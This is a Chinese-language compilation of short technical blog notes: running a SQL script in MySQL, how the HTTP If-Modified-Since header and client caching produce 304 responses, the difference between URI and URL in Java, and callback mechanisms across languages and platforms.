如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql

HTTP的请求头标签 If-Modified-Since

一直以来没有留意过HTTP请求头的IMS(If-Modified-Since)标签。

最近在分析Squid的access.log日志文件时,发现了一个现象。
就是即使是对同一个文件进行HTTP请求,第一次和第二次产生的网络流量数据也是不一致的。
在调查的过程中,逐渐了解了HTTP的If-Modified-Since的头标签的作用。

 

大家都知道客户端浏览器是有缓存的,里面存放之前访问过的一些网页文件。
例如IE,会把缓存文件存到“C:\Documents and Settings\zh2000g\Local Settings\Temporary Internet Files”
这样类似的目录里。
其实缓存里存储的不只是网页文件,还有服务器发过来的该文件的最后服务器修改时间。
If-Modified-Since是标准的HTTP请求头标签,在发送HTTP请求时,把浏览器端缓存页面的最后修改时间一起发到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行比较。

如果时间一致,那么返回HTTP状态码304(不返回文件内容),客户端接到之后,就直接把本地缓存文件显示到浏览器中。

如果时间不一致,就返回HTTP状态码200和新的文件内容,客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示到浏览器中。

下面用一个简单的小例子说明一下。

由于演示例子需要截取HTTP Request和Response的信息,我在这里使用的工具是Fiddler。
感兴趣的朋友可以到【http://www.fiddler2.com/Fiddler2/version.asp】去下载。

 

1.首先在服务器创建一个简单的HTML文件,用浏览器访问一下,成功表示HTML页面。Fiddler就会产生下面的捕获信息。
需要留意的是
(1)因为是第一次访问该页面,客户端发请求时,请求头中没有If-Modified-Since标签。
(2)服务器返回的HTTP状态码是200,并发送页面的全部内容。
(3)服务器返回的HTTP头标签中有Last-Modified,告诉客户端页面的最后修改时间。

2.在浏览器中刷新一下页面,Fiddler就会产生下面的捕获信息。
需要注意的是
(1)客户端发HTTP请求时,使用If-Modified-Since标签,把上次服务器告诉它的文件最后修改时间返回到服务器端了。
(2)因为文件没有改动过,所以服务器返回的HTTP状态码是304,没有发送页面的内容。

 

3.用文本编辑器稍微改动一下页面文件,保存。再用浏览器访问一下,Fiddler就会产生下面的捕获信息。
需要留意的是
(1)客户端发HTTP请求时,使用If-Modified-Since标签,把上次服务器告诉它的文件最后修改时间返回到服务器端了。
(2)因为文件被改动过,两边时间不一致,所以服务器返回的HTTP状态码是200,并发送新页面的全部内容。
(3)服务器返回的HTTP头标签中有Last-Modified,告诉客户端页面的新的最后修改时间。

 

HTTP的If-Modified-Since头标签与客户端缓存相互配合,大大节约了网络流量。

URI和URL的区别

这两天在写代码的时候,由于涉及到资源的位置,因此,需要在Java Bean中定义一些字段,用来表示资源的位置,比如:imgUrl,logoUri等等。但是,每次定义的时候,心里都很纠结,是该用imgUrl还是imgUri呢?

同样的,另外一个问题:String HttpServletRequest.getRequestURI();和StringBuffer HttpServletRequest.getRequestURL();返回的内容有何不同?为什么会如此?

带着这些问题到网上去搜了下,没发现让自己看了明白的解释,于是,想到了Java类库里有两个对应的类java.net.URI和java.net.URL,终于,在这两个类里的javadoc里找到了答案。

URIs, URLs, and URNs

首先,URI,是uniform resource identifier,统一资源标识符,用来唯一的标识一个资源。而URL是uniform resource locator,统一资源定位器,它是一种具体的URI,即URL可以用来标识一个资源,而且还指明了如何locate这个资源。而URN,uniform resource name,统一资源命名,是通过名字来标识资源,比如mailto:java-net@java.sun.com。也就是说,URI是以一种抽象的,高层次概念定义统一资源标识,而URL和URN则是具体的资源标识的方式。URL和URN都是一种URI。

在Java的URI中,一个URI实例可以代表绝对的,也可以是相对的,只要它符合URI的语法规则。而URL类则不仅符合语义,还包含了定位该资源的信息,因此它不能是相对的,schema必须被指定。

ok,现在回答文章开头提出的问题,到底是imgUrl好呢,还是imgUri好?显然,如果说imgUri是肯定没问题的,因为即使它实际上是url,那它也是uri的一种。那么用imgUrl有没有问题呢?此时则要看它的可能取值,如果是绝对路径,能够定位的,那么用imgUrl是没问题的,而如果是相对路径,那还是不要用ImgUrl的好。总之,用imgUri是肯定没问题的,而用imgUrl则要视实际情况而定。

第二个,从HttpServletRequest的javadoc中可以看出,getRequestURI返回一个String,“the part of this request’s URL from the protocol name up to the query string in the first line of the HTTP request”,比如“POST /some/path.html?a=b HTTP/1.1”,则返回的值为”/some/path.html”。现在可以明白为什么是getRequestURI而不是getRequestURL了,因为此处返回的是相对的路径。而getRequestURL返回一个StringBuffer,“The returned URL contains a protocol, server name, port number, and server path, but it does not include query string parameters.”,完整的请求资源路径,不包括querystring。

总结一下:URL是一种具体的URI,它不仅唯一标识资源,而且还提供了定位该资源的信息。URI是一种语义上的抽象概念,可以是绝对的,也可以是相对的,而URL则必须提供足够的信息来定位,所以,是绝对的,而通常说的relative URL,则是针对另一个absolute URL,本质上还是绝对的。

注:这里的绝对(absolute)是指包含scheme,而相对(relative)则不包含scheme。

URI抽象结构     [scheme:]scheme-specific-part[#fragment]

[scheme:][//authority][path][?query][#fragment]

authority为[user-info@]host[:port]

参考资料:

http://docs.oracle.com/javase/1.5.0/docs/api/java/net/URI.html

http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

http://docs.oracle.com/javaee/5/api/javax/servlet/http/HttpServletRequest.html

ps:

java.net.URL类不提供对标准RFC2396规定的特殊字符的转义,因此需要调用者自己对URL各组成部分进行encode。而java.net.URI则会提供转义功能。因此The recommended way  to manage the encoding and decoding of URLs is to use  java.net.URI. 可以使用URI.toURL()和URL.toURI()方法来对两个类型的对象互相转换。对于HTML FORM的url encode/decode可以使用java.net.URLEncoder和java.net.URLDecoder来完成,但是对URL对象不适用。

from:  http://www.cnblogs.com/gaojing/archive/2012/02/04/2413626.html

回调

软件模块之间总是存在着一定的接口,从调用方式上,可以把他们分为三类:同步调用、回调和异步调用。同步调用是一种阻塞式调用,调用方要等待对方执行完毕才返回,它是一种单向调用;回调是一种双向调用模式,也就是说,被调用方在接口被调用时也会调用对方的接口;异步调用是一种类似消息或事件的机制,不过它的调用方向刚好相反,接口的服务在收到某种讯息或发生某种事件时,会主动通知客户方(即调用客户方的接口)。回调和异步调用的关系非常紧密,通常我们使用回调来实现异步消息的注册,通过异步调用来实现消息的通知。同步调用是三者当中最简单的,而回调又常常是异步调用的基础,因此,下面我们着重讨论回调机制在不同软件架构中的实现。
对于不同类型的语言(如结构化语言和对象语言)、平台(Win32、JDK)或构架(CORBA、DCOM、WebService),客户和服务的交互除了同步方式以外,都需要具备一定的异步通知机制,让服务方(或接口提供方)在某些情况下能够主动通知客户,而回调是实现异步的一个最简捷的途径。
对于一般的结构化语言,可以通过回调函数来实现回调。回调函数也是一个函数或过程,不过它是一个由调用方自己实现,供被调用方使用的特殊函数。
面向对象的语言中,回调则是通过接口或抽象类来实现的,我们把实现这种接口的类称为回调类,回调类的对象成为回调对象。对于象C++或Object Pascal这些兼容了过程特性的对象语言,不仅提供了回调对象、回调方法等特性,也能兼容过程语言的回调函数机制。
Windows平台的消息机制也可以看作是回调的一种应用,我们通过系统提供的接口注册消息处理函数(即回调函数),从而实现接收、处理消息的目的。由于Windows平台的API是用C语言来构建的,我们可以认为它也是回调函数的一个特例。
对于分布式组件代理体系CORBA,异步处理有多种方式,如回调、事件服务、通知服务等。事件服务和通知服务是CORBA用来处理异步消息的标准服务,他们主要负责消息的处理、派发、维护等工作。对一些简单的异步处理过程,我们可以通过回调机制来实现。